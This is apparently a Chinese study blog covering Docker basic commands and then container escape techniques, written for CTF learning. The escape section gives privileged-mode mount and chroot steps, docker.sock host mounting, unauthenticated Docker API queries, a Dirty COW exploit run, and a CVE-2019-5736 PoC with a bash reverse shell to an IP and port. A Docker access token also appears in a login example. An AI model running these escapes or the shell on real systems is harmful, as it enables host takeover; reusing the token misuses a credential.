前言

因为22招新了解一点关于docker的使用,比我想得要简单许多

docker 基础命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#启动docker
systemctl start docker

#关闭docker
systemctl stop docker

#重启docker
systemctl restart docker

#docker设置随服务启动而自启动
systemctl enable docker

#查看docker 版本号信息
docker version
docker info

docker 镜像命令

Docker Registry

Docker Registry 是用于存储和管理 Docker 镜像的服务。它可以是公共的,也可以是私有的,具体取决于组织或个人的需求。默认使用的镜像库为 Docker Hub

1
2
3
4
5
docker login -u eksclustergames #切换镜像库
Password: dckr_pat_YtncV-R85mAAAAAAAACo

docker tag local-image:tag your-dockerhub-username/your-image:tag #标记镜像
docker push your-dockerhub-username/your-image:tag #上传镜像

image管理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

#搜索开源镜像
docker search redis
NAME DESCRIPTION STARS OFFICIAL AUTOMATED
redis Redis is an open source key-value store that… 11599 [OK]
bitnami/redis Bitnami Redis Docker Image 237 [OK]
redislabs/redisinsight RedisInsight - The GUI for Redis 72
redislabs/redisearch Redis With the RedisSearch module pre-loaded… 56
redislabs/rejson RedisJSON - Enhanced JSON data type processi… 50
bitnami/redis-sentinel Bitnami Docker Image for Redis Sentinel 42 [OK]
redislabs/redis Clustered in-memory database engine compatib… 35
redislabs/redismod An automated build of redismod - latest Redi… 27 [OK]
redis/redis-stack redis-stack installs a Redis server with add… 24

#限制搜索镜像
docker search --filter=STARS=9000 mysql


#拉取镜像不加tag(版本号) 即拉取docker仓库中 该镜像的最新版本latest 加:tag 则是拉取指定版本
docker pull 镜像名
docker pull 镜像名:tag


#查看自己服务器中docker 镜像列表
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
stackoverflow1 latest 1a369ff8523c 23 hours ago 368MB
ctftraining/upload latest 6d90e144c982 2 months ago 370MB
ctftraining/qwb_2019_supersqli latest 474a1967b7e5 2 months ago 370MB
ctftraining/rce1 latest 64239e5a3f11 2 months ago 370MB
h1ve-main latest 735f474f81ea 2 months ago 920MB
mariadb 10.4 0552982c09ae 3 months ago 404MB
redis 4 191c4017dcdd 2 years ago 89.3MB
d0g3/h1ve-frp latest 5e0d10177d43 2 years ago 35.1MB



#删除镜像 当前镜像没有被任何容器使用才可以删除
#删除一个
docker rmi -f 镜像名/镜像ID
#删除多个 其镜像ID或镜像用用空格隔开即可
docker rmi -f 镜像名/镜像ID 镜像名/镜像ID 镜像名/镜像ID
#删除全部镜像 -a 意思为显示全部, -q 意思为只显示ID
docker rmi -f $(docker images -aq)
#强制删除镜像
docker image rm 镜像名称/镜像ID

制作image

1
2
3
docker history IMAGEname #会显示镜像的构建历史
docker history --no-trunc #不截断输出
docker save madhuakula/k8s-goat-hidden-in-layers -o hidden.tar #将 Docker 镜像打包成一个可传输的压缩文件(一般用于调查取证)

dockerfile

1
2
3
docker build -t ubuntu-with-vi-dockerfile .
#运行docker build命令,-t将新镜像命名为ubuntu-with-vi-dockerfile,命令末尾的.指明build context为当前目录
Docker默认会从build context中查找Dockerfile文件

docker 容器命令

docker容器管理

docker容器状态查询

1
2
3
4
5
6
7
8
9
#查看正在运行容器列表
docker ps
#查看所有容器 -----包含正在运行 和已停止的
docker ps -a
# Up (运行时间)
# Created (已创建,但尚未启动)
#Exited (已退出时间)
#Restarting (重启时间)
#Paused (已暂停)

docker容器状态管理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#更换容器名
docker rename 容器ID/容器名 新容器名

#查看日志
docker container logs 容器ID/容器名

#停止运行的容器
docker stop 容器名/容器ID
#重启容器
docker restart 容器ID/容器名
#启动容器
docker start 容器ID/容器名
#kill 容器
docker kill 容器ID/容器名

#删除一个容器
docker rm -f 容器名/容器ID
#删除多个容器 空格隔开要删除的容器名或容器ID
docker rm -f 容器名/容器ID 容器名/容器ID 容器名/容器ID
#删除全部容器
docker rm -f $(docker ps -aq)

#查看容器详细信息
sudo docker inspect 容器名/容器ID
#而其中的MergedDir就是容器挂载点,即容器在宿主机上的目录位置

docker容器内外交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#进入容器方式一 这里咱就进入 前面的 redis001容器
docker exec -it 容器名/容器ID /bin/bash
#退出为exit

#从容器内拷出文件
docker cp 容器ID/名称: 容器内路径 容器外路径
#从外部 拷贝文件到容器内
docker cp 容器外路径 容器ID/名称: 容器内路径
docker cp /www/runoob ad74b2b4bb42:/var/www/html/

#挂载
docker run -it -v /root/work/docker:/root/hzbtest tomcat:7.0 /bin/bash
主机目录 容器目录 容器名
#获取容器的日志
#--tail n:从尾部开始显示n行日志
root@VM-12-3-ubuntu:/# docker logs --tail=1 a30f8ce2b28c
220.196.160.96 - - [19/Feb/2023:08:20:55 +0000] "GET /?1=1 HTTP/1.1" 200 543 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.49"

#注意docker里默认使用协调世界时(世界统一时间),比服务器使用的北京时间慢大概8个小时

docker 利用镜像创建容器

1
2
docker run -d -p "0.0.0.0:pub_port:9999" -h "helloworld" --name="helloworld" helloworld
主机的端口 容器的端口 <容器名称> <镜像名称>

docker-compose

docker compose up

docker逃逸

容器与宿主机之间通过Namespace 和Cgroups进行隔离

Namespaces进程命名空间 (PID namespace):每个容器都在自己的 PID 命名空间中运行,容器之间的进程不会互相干扰。比如,容器 A 的进程 ID 可能是 1,而容器 B 的进程 ID 也可以是 1,但它们是不同的进程。网络命名空间 (Network namespace):每个容器都有独立的网络堆栈,包括网络接口、IP 地址和路由表。容器之间的网络通信是隔离的,只有通过明确的桥接或端口映射才能互通。文件系统命名空间 (Mount namespace):每个容器的文件系统视图是独立的,容器内部的文件更改不会影响其他容器。

Cgroup(control group),用于限制、优先级调度和监控容器的资源使用(如 CPU、内存、磁盘 IO 等)。

但是许多危险操作或者漏洞导致攻击者可以从容器里边逃逸到宿主机上。常用的逃逸手法包含四类:危险配置危险挂载组件漏洞内核漏洞

判断当前机器是否为docker容器环境

1
2
3
ls -al / #根目录下存在.dockerenv文件
cat /proc/1/cgroup #存在docker字段则是在docker容器中
cat /proc/1/environ

逃逸手法

危险配置

privileged参数逃逸

privileged是Docker容器的一个选项,用于授予容器内的进程对主机系统的更高权限,容器启动时如果添加了–privileged参数则会具备全部Capabilities,容器可以访问主机所有device以及具有mount操作的权限。

1
2
3
4
5
cat /proc/self/status |grep Cap #判断当前容器是否通过特权模式起(000000xfffffffff代表为特权模式起)
fdisk -l #找到正确的设备路径
mkdir /home/test
mount /dev/vda1 /test #将宿主机文件挂载到 /test 目录下
chroot /home/test #chroot改变根目录

其他还有
cap_sys_module特权表示允许加载内核模块,直接新建一个命令执行的模块即可拿到宿主机权限
利用CAP_DAC_READ_SEARCH+CAP_DAC_OVERRIDE特权的应用方法,对宿主机系统中存在的文件进行任意读写
cap_sys_admin权限下也有几种方式可以逃逸,常见的为notify_on_release机制逃逸、重写devices.allow逃逸等

Docker Registry API 18093未授权访问
1
2
3
4
5
6
curl http://10.200.88.6:18093/v2/_catalog  # 获取仓库列表
{"repositories":["madhuakula/k8s-goat-users-repo"]}

curl http://10.200.88.6:18093/v2/madhuakula/k8s-goat-users-repo/tags/list #获取指定仓库中镜像的tags列表
{"name":"madhuakula/k8s-goat-users-repo","tags":["latest"]}

Docker Remote API 2375未授权访问

Docker remote api本身用于通过请求api来执行docker命令,如果开放对外访问,那么和挂载docker.sock的情形类似

1
2
3
4
5
#列出容器信息
curl http://<target>:2375/containers/json
#查看容器
docker -H tcp://<target>:2375 ps -a
#后面就是挂载了,就不写了

危险挂载

容器挂载不当导致的逃逸根本原因在于业务需求或使用者图方便把危险目录直接挂载到容器中。

例:使用者将宿主机/var/run/docker.sock文件挂载到容器中,目的是能在容器中也有操作docker的权限,那么可以使用docker在当前容器中运行一个新容器并挂载宿主机根路径

1
2
3
4
5
6
7
8
mount
find / -name docker.sock
apt-get update
apt-get install docker.io #在当前容器内安装docker

docker -H unix:///host/var/run/docker.sock info #与 Docker Daemon 之间通信,查看宿主机docker信息
docker -H unix:///host/var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash #在当前容器中运行一个新容器并挂载宿主机根路径
#宿主机->当前容器->新容器

linux自身的内核漏洞

Dirty Cow

此漏洞是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

1
2
3
4
5
6
uname -r #查看内核版本
cat /etc/os-release #查看容器操作系统详细信息
uname -a #查看宿主机内核信息
cd /dirtycow-vdso
make
./0xdeadbeef 192.168.59.145:6666

Docker CVE

CVE-2019-5736 docker-runc 逃逸

1
2
3
4
5
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
vi main.gopayload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/12345 0>&1"
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
chmod 777 main
./main

CVE-2020–15257 container-shim 逃逸

1
2
cat /proc/net/unix | grep 'containerd-shim' #判断是否使用host模式
#https://github.com/cdk-team/CDK/releases